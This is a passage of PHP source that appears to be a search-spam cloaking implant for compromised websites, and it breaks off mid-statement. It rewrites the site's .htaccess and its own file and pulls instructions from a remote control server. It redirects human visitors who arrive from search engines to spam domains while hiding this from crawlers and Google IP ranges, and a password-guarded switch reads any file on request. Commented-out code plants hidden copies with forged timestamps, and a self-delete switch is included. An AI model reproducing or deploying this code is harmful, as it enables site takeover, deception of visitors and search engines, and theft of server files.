$strRand[20]="dnswrmvqbiagjlotfyzphckuxe"; $strRand[21]="noyeamvgqxihtfrpdzksuclwjb"; $strRand[22]="lkuaznhbsjpmvyifocdxgqewtr"; $strRand[23]="csubxfwzjnomtahiygpvqerldk"; $strRand[24]="inocdszlbjutmweprhfqkagxvy"; $strRand[25]="qkithbfmzreudcagysjwvpnoxl"; $strRand[26]="yuczglpxijmkotsawvnrdfhbeq"; $strRand[27]="ovfrgiyunqmbjlkxezcsdhwtap"; $strRand[28]="kdiualznomcjrpevtfygbxwhsq"; $strRand[29]="vkuwyrmzjnqfohlaxecbgtpsid"; $strRand[30]="drbwxicanqmoylshegpuftkjzv"; $strRand[31]="eqrbnxadpfivjtwugosycmlkhz"; $strRand[32]="vbdyljknetguxqcfpwrzsimaoh"; $strRand[33]="hfpvmogaycnqudristjklxezbw"; $strRand[34]="rcjkdqgmtienvwzhubxlaysopf"; $strRand[35]="chbilomkwvaxptqsdryfugnzje"; $strRand[36]="nfymgoaijcwulkqedbpvxzhtrs"; $strRand[37]="mfzwqlhsgkpxcuatvdjoibrney"; $strRand[38]="sjnilkoxftwequvacgzmrybhdp"; $strRand[39]="ojiyagtfvdsnechqzlkxrupwmb"; $strRand[40]="fpsugwryihjmdnazbtqvxoeckl"; $strRand[41]="tzicudmokxhnersbfgqjawvply"; $strRand[42]="xekdwzrfginmbouytvqlhspacj"; $strRand[43]="xqdchisgvetubapywljfmkornz"; $strRand[44]="wylpvtgsqefcmdbzairkonxuhj"; $strRand[45]="pqsgucxbwtmifyjlzaknervhod"; $strRand[46]="kjrtedgwmonycszbulvqphfaxi"; $strRand[47]="xbaotsiqvdenjulwfkcygmrhpz"; $strRand[48]="nhzrxlkcgqfvutweyisjmdbopa"; $strRand[49]="efvhoksnibtdmawlxpyrcjzqgu"; $strRand[50]="carqdmtwelijvubzpknhyfxgos"; $strRand[51]="ojzwpclkymevqxnfdabisuthrg"; $strRand[52]="cgkuitpejasrxlbvfwzqyhdonm"; $strRand[53]="gkpeajyhrcsqfloizvdnwbtuxm"; $strRand[54]="qdksofgneyvtuwapicrxhbzjml"; $strRand[55]="hivkydgtqufbonlarzcswjpmex"; $strRand[56]="fjvmirlwpdxqugeoyktbchsanz"; $strRand[57]="cbjvlzgryskqafxtwomuiehpnd"; $strRand[58]="xqhsuiavrclotfnkgjmpdebyzw"; $strRand[59]="taxiervhqwzjdklfbmgcoypnsu"; $strRand[60]="edfhgwolbnuviqzcmpyrjkxtsa"; $strRand[61]="sbnpuvkrdhaoelwjgztxmcfqiy"; $strRand[62]="hfoyacdkpueltqnmxrwjzvbisg"; $strRand[63]="nipzahubmydjlekfstxrgwcovq"; $strRand[64]="uzdhektfcvyoiwxanrmgslbpqj"; $strRand[65]="rzotwlcafdehbxgnsyukvijmqp"; $strRand[66]="cdetqgjymlvibopsnhazufwrxk"; $strRand[67]="kjgmtydoiehbxfazupvsnwrcql"; $strRand[68]="vdjrgbouspyhnckqwmaztleixf"; $strRand[69]="jclsmfgevaokiyzxwpthrqdunb"; $strRand[70]="lnrudahijvmtcgkwqosxfzybep"; $strRand[71]="lkfmqzrinxswajedbvtuohcpyg"; $strRand[72]="dbovfciuypzkqsnaghxlmjwret"; $strRand[73]="fojeunqsryagbmklizdhcpvxtw"; $strRand[74]="jxhbazvfircgmlneqokusdtpyw"; $strRand[75]="crxoazqhlytefnidswkuvmjpgb"; $strRand[76]="zhkcauoyqlwjregbnftsixdpvm"; $strRand[77]="gdoqvcjpwrkabmntlsefxihzyu"; $strRand[78]="yjusandovpkrbemqxlhwzicftg"; $strRand[79]="nobrefmxuyjahidvspgwqzctlk"; $strRand[80]="kyuwgcambvozqierslfnphdxjt"; $strRand[81]="xfdvbmsuhygtzcloarjeqinpkw"; $strRand[82]="irzvdmqxpauknbefgjhocylswt"; $strRand[83]="veduxftqjcylznskwgmabhipro"; $strRand[84]="typiflwzgdvoqsnxruajmckebh"; $strRand[85]="dpuvebxqilrwnhkcomgtzsfajy"; $strRand[86]="wrgmivzspuxlotbckdqnefhyja"; $strRand[87]="sybrhlwfvzaguomkjdntecqxip"; $strRand[88]="uagfmdvyjkqceonshwlztpxbri"; $strRand[89]="arukifmpgqnezvsjbxywcdthlo"; $strRand[90]="tqysmcojhrnfpvzkuwxleibadg"; $strRand[91]="ogxiytvsnucrfmhkbwzjaeqdlp"; $strRand[92]="gtifcspzdvkmunrwjhleaybxoq"; $strRand[93]="esynkjczuvxfltbgrawidopqhm"; $strRand[94]="ojftxivamlkwedpncbuyqrgzsh"; $strRand[95]="adtfmbuzoqjlihpnkwryvsgexc"; $strRand[96]="plenitsrufjycbadxhgomkwqzv"; $strRand[97]="xoevqfhuzdwgpcykrjsbnlmati"; $strRand[98]="dixacwfmpjsnytzbeuvqrlohgk"; $strRand[99]="merwtnfdjgxuvioyzlhbckaqsp"; // #llqllq#randkeyend $thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']); // iiiiiiiiibg function sys_type(){ global $hostDir; if(file_exists("$hostDir/wp-config.php")){ return 'wp'; }elseif(strstr(@file_get_contents("$hostDir/configuration.php"),"JConfig")){ return 'Joomla'; }else{ return 'other'; } } function getFileType($filename){ $rs = '#.*\.([^\s]+)#i'; preg_match($rs,$filename,$matchType); return $matchType[1]; } function getTypeImg($source, &$destination, $num, $type){ global $numHostDir; $handle = opendir($source); while(($file = readdir($handle)) !== false){ if($file != '.' && $file != '..') { $src = $source . DIRECTORY_SEPARATOR . $file; if(is_dir($src) && !strstr($src,'/cache')){ getTypeImg($src, $destination, $num, $type); }else{ if(count($destination) >= $num) return count($destination); $tempType = getFileType($file); if(strstr($type,$tempType)){ $tempMydir = count(explode(DIRECTORY_SEPARATOR,$src)); if($tempMydir - $numHostDir > 2 && !strstr($file,'index')){ $destination[$source] = $tempType .'#name#'. str_replace('.'.$tempType ,'' ,$file); } } } } } closedir($handle); } if(isset($_GET['rset']) && $_GET['rset'] == 'set'){ if(isset($_SERVER['DOCUMENT_ROOT'])){ $hostDir = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR; }elseif(isset($_SERVER['PHP_SELF'])){ $hostDir = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$_SERVER['PHP_SELF'])),'',__FILE__).DIRECTORY_SEPARATOR; }else{ $hostDir = '/'; } $hostDir = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR, $hostDir); // $sysType = sys_type(); // if($sysType == 'wp'){ // $backupfile1 = $hostDir.'wp-includes/customize/class-wp-customize-filters-setting.php'; // $backupfile2 = $hostDir.'wp-admin/includes/medias.php'; // $fitime = filemtime($hostDir.'wp-admin/includes/'); // }elseif($sysType == 'Joomla'){ // $backupfile1 = $hostDir.'modules/mod_search/tmpl/defaults.php'; // $backupfile2 = $hostDir.'libraries/joomla/cache/storage/memcaches.php'; // $fitime = filemtime($hostDir.'modules/mod_search/'); // }else{ // $numHostDir = count(explode(DIRECTORY_SEPARATOR,$hostDir)); // $arrphpDir = array(); // getTypeImg($hostDir,$arrphpDir,2,'php'); // $i=1; // foreach($arrphpDir as $key=>$vs){ // $fitime = filemtime($key); // list($tmepImgType,$trmeyImgName) = explode('#name#',$vs); // $tempMyVs = 'backupfile'.$i++; // $$tempMyVs = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'s.'. $tmepImgType; // while(file_exists($$tempMyVs)){ // $$tempMyVs = str_replace(".$tmepImgType","s.$tmepImgType",$$tempMyVs); // } // } // } // $backupfile1 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile1); // $backupfile2 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile2); $str = file_get_contents("index.php"); $r3 = '#(// \#l{2}ql{2}q\#arr_keywz)(.*?)(// \#l{2}ql{2}q\#arr_keywzend)#s'; shuffle($arrKeywz); $rp2 = ''; foreach($arrKeywz as $valpimg){ $rp2 .= '$arrKeywz[]="'. $valpimg .'";'. PHP_EOL; } $str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str); $r3 = '#(// \#l{2}ql{2}q\#arr_wordbg)(.*?)(// \#l{2}ql{2}q\#arr_wordend)#s'; $strword = ''; $arrWordOld = array(2,3,4,2,2,3,4,3,3,4); $rp2 = ''; for($i=0;$i<12;$i++){ shuffle($arrWordOld); foreach($arrWordOld as $vtemps) $rp2 .= '$arr_word['. $i .'][] ="'. $vtemps .'";'; } $str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str); $r3 = '#(// \#l{2}ql{2}q\#arr_nametimebg)(.*?)(// \#l{2}ql{2}q\#arr_nametimeend)#s'; shuffle($arrnametime); $rp2 = ''; foreach($arrnametime as $valpimg){ $rp2 .= '$arrnametime[]="'. $valpimg .'";'. PHP_EOL; } $str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str); $r4 = '#(// \#l{2}ql{2}q\#randkeybg)(.*?)(// \#l{2}ql{2}q\#randkeyend)#s'; $arrABC = range('a','z'); $strTemp1 = ''; for($i=0;$i<100;$i++){ shuffle($arrABC); $strtemp = ''; foreach($arrABC as $value){ $strtemp .= $value; } $strTemp1 .= '$strRand[' .$i. ']="' . $strtemp .'";'. PHP_EOL; } $str = preg_replace($r4, '\1'. PHP_EOL . $strTemp1 . PHP_EOL .'\3', $str); $num = rand(1,FNUM); $num = $num - 1; $idUrl = GETDOM . "gpage.php?act=getIndex&site=$thisdom"; $tempIdStr = curl_get_from_webpage($idUrl,'',5); $indexId = trim($tempIdStr); $rsId = '#^\d+-\d+-\d+$#i'; if(!preg_match($rsId,$tempIdStr)){ echo 'please open this url (then run the rset): '.GETDOM .'gfile.php?site='.$thisdom; die(); } $str = str_replace('$id = "0-3194-46286"; //llq index id', '$id = "'. $indexId .'"; //llq index id', $str); $r3='#(// \#l{2}ql{2}q\#arr_fuhao)(.*?)(// \#l{2}ql{2}q\#arr_fuhaoend)#s'; shuffle($arrfh);$rp2='';foreach($arrfh as $valpimg){$rp2.='$arrfh[]="'.$valpimg.'";'.PHP_EOL;}$str=preg_replace($r3,'\1'.PHP_EOL.PHP_EOL.$rp2.PHP_EOL.PHP_EOL.'\3',$str); file_put_contents(__FILE__, $str); $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); $PreDir = ''; if(JDT == 1){ $UrlBaseDir = $httcReplace; $RewriteOnDir = ''; }else{ $UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/'; } $strhtt = ''; if (file_exists("$PreDir.htaccess")){ @chmod("$PreDir.htaccess",0755); $strhtt = file_get_contents("$PreDir.htaccess"); } if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule'))) { $strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>'; }else{ $strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt); $strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt); } if(1){ $r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i'; $rsut = '\1'.PHP_EOL . 'RewriteRule ^(\d+)'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)-.*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^(\d+)'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/].*[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/].*[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/](\d+)'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/](\d+)'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL; $rsut2 = PHP_EOL . 'RewriteRule ^(\d+)'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)-.*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^(\d+)'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/].*[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/].*[-/](\d+)'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$3-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/](\d+)'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/](\d+)'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2-\$3&%{QUERY_STRING} [L]'.PHP_EOL .'RewriteRule' ; if(preg_match($r1,$strhtt)){ $strhtt = preg_replace($r1,$rsut,$strhtt,1); }else{ $strhtt = preg_replace($r2,$rsut2,$strhtt,1); } if(JDT == 1 or JDT == 0){ file_put_contents("$PreDir.htaccess", $strhtt); } } $str = file_get_contents(__FILE__); if(isset($_GET["jgshu"]) && $_GET["jgshu"]){ $str = str_replace('define("JGNUM","50");', 'define("JGNUM","'.trim($_GET["jgshu"]).'");', $str); echo "<br/>jgshu (".$_GET["jgshu"].") ok!<br/>"; } if(isset($_GET["ljshu"]) && $_GET["ljshu"]){ $str = str_replace('define("LINKNUM","18");', 'define("LINKNUM","'.trim($_GET["ljshu"]).'");', $str); echo "<br/>ljshu (".$_GET["ljshu"].") ok!<br/>"; } preg_match('#c{6}getbg(.*?)c{6}getend#si',$str,$matchPut); $backStr = $matchPut[1]; // $$q2 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{65}.$O00O0O{64}.$O00O0O{64}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63}.$O00O0O{1}.$O00O0O{0}.$O00O0O{2}.$O00O0O{10}.$O00O0O{20}.$O00O0O{15}.$O00O0O{28}.$O00O0O{26}.$O00O0O{27}.$O00O0O{33}.$O00O0O{63}.$O00O0O{19}.$O00O0O{14}.$O00O0O{15}.$O00O0O{64}.$O00O0O{1}.$O00O0O{10}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15}; // generate_dir_file($backupfile1); // generate_dir_file($backupfile2); // if($backStr){ // $backStr = '<?php'.PHP_EOL .$backStr; // if(isset($backupfile1) && $backupfile1){ // if(file_put_contents($backupfile1,$backStr)) // $flagRdir1 = 1; // else // $flagRdir1 = 0; // } // if(isset($backupfile2) && $backupfile2){ // if(file_put_contents($backupfile2,$backStr)) // $flagRdir2 = 1; // else // $flagRdir2 = 0; // } // @touch($backupfile1, $fitime, $fitime); // @touch(dirname($backupfile1), $fitime, $fitime); // @touch($backupfile2, $fitime, $fitime); // @touch(dirname($backupfile2), $fitime, $fitime); // } // $dateArr['dom'] = $thisdom; // $dateArr['myFile'] = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; // $dateArr['indexhyFile'] = __FILE__; // $dateArr['mbFile'] = str_replace('index.php','moban.html',$dateArr['indexhyFile']); // $dateArr['htaccess'] = str_replace('index.php','',$dateArr['indexhyFile']) ."$PreDir.htaccess"; // $dateArr['act'] = 'pt'; // if($backupfile1){ // $bfileurl1 = 'http://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile1); // $dateArr['backupfile1'] = $bfileurl1; // } // if($backupfile2){ // $bfileurl2 = 'http://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile2); // $dateArr['backupfile2'] = $bfileurl2; // } // $staus = backup_install($dateArr); // if($staus == '#ok#'){ // echo '<br/>backup ok!<br/>'; // } echo '<br/>rset ok!<br/>'; } if(isset($_GET["ljshu"]) && $_GET["ljshu"]){ $strDefault = file_get_contents(__FILE__); $strDefault = str_replace('define("LINKNUM","18");', 'define("LINKNUM","'.$_GET["ljshu"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>ljshu (".$_GET["ljshu"].") ok!<br/>";} if(isset($_GET["moshi"])){ if($_GET["moshi"] != 0 && $_GET["moshi"] != 1 && $_GET["moshi"] != 2 && $_GET["moshi"] != 3){ echo "<br/><span style='color:red'>set fails, moshi value must be 0,1,2 or 3 !</span><br/>"; die(); } if($_GET["moshi"] == 2 || $_GET["moshi"] == 3){ @unlink(".htaccess"); } $strDefault = file_get_contents(__FILE__); $r3='#(/{2}msbg)(.*?)(/{2}msend)#s'; $rp2 = 'define("JDT","'.$_GET["moshi"].'");'; $strDefault=preg_replace($r3,'\1'.PHP_EOL.$rp2.PHP_EOL.'\3',$strDefault); $strDefault = str_replace('define("JDT","1");', 'define("JDT","'.$_GET["moshi"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>moshi (".$_GET["moshi"].") ok!<br/>";} if(isset($_GET["modifydate"]) && $_GET["modifydate"]){ $strDefault = file_get_contents(__FILE__); $strDefault = str_replace('define("PRENAME","20160409");', 'define("PRENAME","'.$_GET["modifydate"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>modifydate (".$_GET["modifydate"].") ok!<br/>";} if(isset($_GET["delmyself"]) && $_GET["delmyself"]==1){ $str = file_get_contents(__FILE__); $r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $str2 = preg_replace($r4, '', $str); $r4 = '#i{9}bg.*?i{9}end#si'; $str2 = preg_replace($r4, '', $str2); $r4 = '#c{6}getbg.*?c{6}getend#si'; $str2 = preg_replace($r4, '', $str2); $r4 = '#c{6}getbg.*?c{6}getend#si'; $str2 = preg_replace($r4, '', $str2); file_put_contents(__FILE__,$str2); echo 'ok'; die(); } // iiiiiiiiiend $arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){ $arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};} $Arrrarr = array_flip($arrArrr); $stss = 'transferdm'; $stss2 = 'deliverym'; if(isset($_GET["gsitemap"])){ $O_OO0_0O_0='America/Chicago'; @date_default_timezone_set($O_OO0_0O_0); if (! is_dir("../sitemap")) mkdir("../sitemap", 0755); global $gnumber; $gnumber = 1; $idUrl = GETDOM . "gpage.php?site=$thisdom&getid=".LINKNUM; $tempIdStr = curl_get_from_webpage($idUrl,'',5); $arrIdS = explode(',',$tempIdStr); $arrId = array(); // echo 'rukou:<br/>'; // list($tempNowid,$tempSid,$tempPid) = explode('-',$arrIdS[0]); // echo getalink($tempSid,$tempPid,$tempNowid); // echo "<br/>"; // echo "<br/>"; foreach($arrIdS as $keyid=>$vsid){ $tempKeys = $keyid % 10; // echo $tempKeys.'==>'.$keyid.'==>'.$vsid."<br/>"; $arrId[$tempKeys][] = $vsid; } foreach($arrId as $key=>$vss){ if(count($vss) < 100){ echo "g sitemap fail<br/>"; die(); } echo $key."<br/>"; if($gnumber == 1){ if(JDT == 1){ gsitemap($vss,2,1); }else{ gsitemap($vss,1,2); } }else{ if(JDT == 1){ gsitemap2($vss,2,1); }else{ gsitemap2($vss,1,2); } } } unset($arrId); die(); } if(isset($_GET["chdate"]) && md5($_GET["chdate"])=='8b9431d1f8083f320f2d1a3d5a0a187e' && isset($_GET["redate_file"])){$redate_file = $_GET["redate_file"];if(file_exists($redate_file)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_GET["redate"]) && md5($_GET["redate"])=='8b9431d1f8083f320f2d1a3d5a0a187e' && isset($_GET["redate_file"])){$redate_file = $_GET["redate_file"];if(file_exists($redate_file)){echo rFile($redate_file);}else{echo '#nofile#';}die();}if(isset($_GET["test"]) && md5($_GET["test"])=='8b9431d1f8083f320f2d1a3d5a0a187e'){echo '#ok#'; die();} if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){ die();} if(JDT==2){ $UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){ $tempSid = ''; $tempPid = ''; $r0 ='#^(\d+'. BZSITE .'\d+)[-/]#i'; $r1='#[-/](\d+'. BZSITE .'\d+)[-/]#i'; if(preg_match($r0,$UrlParent,$matches)){ if(isset($matches[1])){ $tempSidStr = $matches[1]; list($tempnNumID,$tempSid) = explode(BZSITE,$tempSidStr); } }else{ preg_match($r1,$UrlParent,$matches10); if(isset($matches10[1])){ $tempSidStr = $matches10[1]; list($tempnNumID,$tempSid) = explode(BZSITE,$tempSidStr); } } $r2='#^'. BZPRO .'(\d+)[-/]#i'; $r3='#[-/]'. BZPRO .'(\d+)[-/]#i'; if(preg_match($r2,$UrlParent,$matches2)){ if(isset($matches2[1])) $tempPid = $matches2[1]; }else{ preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1])) $tempPid = $matches13[1]; } if($tempSid && $tempPid && $tempnNumID){ $_GET['id']= $tempnNumID .'-'. $tempSid .'-'. $tempPid; } } }elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){ $tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword']; $r0 ='#^(\d+'. BZSITE .'\d+)[-/]#i'; $r1='#[-/](\d+'. BZSITE .'\d+)[-/]#i'; if(preg_match($r0,$UrlParent,$matches)){ if(isset($matches[1])){ $tempSidStr = $matches[1]; list($tempnNumID,$tempSid) = explode(BZSITE,$tempSidStr); } }else{ preg_match($r1,$UrlParent,$matches10); if(isset($matches10[1])){ $tempSidStr = $matches10[1]; list($tempnNumID,$tempSid) = explode(BZSITE,$tempSidStr); } } $r2='#^'. BZPRO .'(\d+)[-/]#i'; $r3='#[-/]'. BZPRO .'(\d+)[-/]#i'; if(preg_match($r2,$UrlParent,$matches2)){ if(isset($matches2[1])) $tempPid = $matches2[1]; }else{ preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1])) $tempPid = $matches13[1]; } if($tempSid && $tempPid && $tempnNumID){ $_GET['id']= $tempnNumID .'-'. $tempSid .'-'. $tempPid; } } // $_SERVER["HTTP_REFERER"] = "google.com.hk"; function getRandStr(){ $arrABC = range('a','z'); shuffle($arrABC); $randNum = rand(4,6); $str = implode('',array_slice($arrABC,0,$randNum)); return $str;} if(isset($_GET["id"])) $id = $_GET["id"];else{ $id = "0-3194-46286"; //llq index id } $idTemp = explode('-',$id);if(count($idTemp) < 3) die(); list($nNumID,$siteid,$id23) = explode('-',$id); $siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM; if(isset($_SERVER["HTTP_REFERER"])){ $referer = $_SERVER["HTTP_REFERER"]; $russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i'; $ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.15.255' ) , array('66.249.64.0' , '66.249.95.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') ); $localIp = get_real_ip(); $is_or_no = is_ip($localIp,$ipRanges); $iszz = isCrawler(); if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false){ $rsdom = '#^http://www\.[^/+]/$#si'; $jumDom1 = 'http://www.'.$stss.'.xyz'. DOMTXT . $siteid .".txt"; $jumDom2 = 'http://www.'.$stss2.'.xyz'. DOMTXT . $siteid .".txt"; for($i=0;$i<2;$i++){ $domJump = curl_getjs_from_webpage($jumDom1,2); $domJump = trim($domJump); if(!preg_match($rsdom,$domJump)){ $domJump = curl_getjs_from_webpage($jumDom2,10); $domJump = trim($domJump); if(preg_match($rsdom,$domJump)) break; }else{ break; } } echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $domJump . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>'; die(); } } $fcontent = ''; $keyWzi = $id23 % 6;$preOrEnd = $arrKeywz[$keyWzi]%2; $pInfoUrl = GETDOM . "gpage.php?site=$thisdom&id=$nNumID&jgnum=". JGNUM ."&linknum=".LINKNUM; $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5); $rFL = '#<FL>(.*?)</FL>#si'; preg_match($rFL, $pInfoStr, $matchFL); if($matchFL[1]) $fStr = $matchFL[1];else $fStr = ''; $arrf1 = explode("#lkfglkfg#",$fStr); $arrFIdName = array(); $arrFIdImg = array(); if(count($arrf1)){ foreach($arrf1 as $values){ $values = trim($values); if(!$values) continue; $arrts = explode("===>",$values); if(count($arrts) == 3) $arrFIdName[$arrts[0]] = $arrts[1]; $arrFIdImg[$arrts[0]] = $arrts[2]; } } $rLK = '#<LK>(.*?)</LK>#si'; preg_match($rLK, $pInfoStr, $matchLK); $rpImg = '#<pImg>(.*?)</pImg>#si'; preg_match($rpImg, $pInfoStr, $matchpImg); $rMyName = '#<MyName>(.*?)</MyName>#si'; preg_match($rMyName, $pInfoStr, $matchMyName); if($matchpImg[1]) $strpImg = trim($matchpImg[1]); else $strpImg = ''; $imgArr = explode('#img#',$strpImg); $tempPimgStr = ''; foreach($imgArr as $vs){ $vs = trim($vs); if($vs) $tempPimgStr .= '<div class="text-center"><img src="'.$vs.'"></div>'; } if($matchMyName[1]) $strMyName = trim($matchMyName[1]); else $strMyName = ''; if($matchLK[1]) $lkStr = trim($matchLK[1]); else die(); $html = curl_get_from_webpage($lkStr,'',5); $productsPd2 = ''; if(strstr($lkStr,'yahoo.co.jp')){ $proNameRelur='#<!-- itemInfoTitle -->(.*?)<!-- /itemInfoTitle -->#si'; preg_match($proNameRelur, $html, $matchesName); $productsName = rmhtmltag2('',$matchesName[1]); $productsName = trim($productsName); if(!$productsName){ $productsName = $strMyName; } preg_match('#<!-- itemInfoLead -->(.*?)<!-- /itemInfoLead -->#si', $html, $matchesDes); $productsDes = $matchesDes[1]; $productsDes = rmhtmltag2('iframe', $productsDes); $productsDes = rmhtmltag2('a', $productsDes); }else{ $html = iconv('EUC-JP','utf-8',$html); $proNameRelur='#<span class="item_name">(.*?)</span>#si'; preg_match($proNameRelur, $html, $matchesName); $productsName = rmhtmltag2('',$matchesName[1]); $productsName = trim($productsName); if(!$productsName){ $productsName = $strMyName; } $proPd2Relur = '#<span class="catch_copy">(.*?)</span>#si'; preg_match($proPd2Relur, $html, $matchesPd2); $productsPd2 = $matchesPd2[1]; $productsPd2 = rmhtmltag2('',$productsPd2); preg_match('#<td><span class="sale_desc">(.*?)</span>\s*<br>\s*<br>\s*</td>#si', $html, $matchesDes); $productsDes = $matchesDes[1]; preg_match('#<td><span class="item_desc">(.*?)</span>\s*<br>\s*<br>\s*</td>#si', $html, $matchesDes2); $productsDes .= $matchesDes2[1]; $productsDes = rmhtmltag2('iframe', $productsDes); $productsDes = rmhtmltag2('a', $productsDes); } // preg_match_all('#<div src="([^"]+)"#si', $html, $matchesImg); // $productsImgArr = $matchesImg[1]; $rpword[] = '%E6%A5%BD%E5%A4%A9%E5%B8%82%E5%A0%B4%E5%BA%97'; $rpword[] = '%E3%80%90%E6%A5%BD%E5%A4%A9%E5%B8%82%E5%A0%B4%E3%80%91'; $rpword[] = '%E6%A5%BD%E5%A4%A9%E5%B8%82%E5%A0%B4'; $rpword[] = 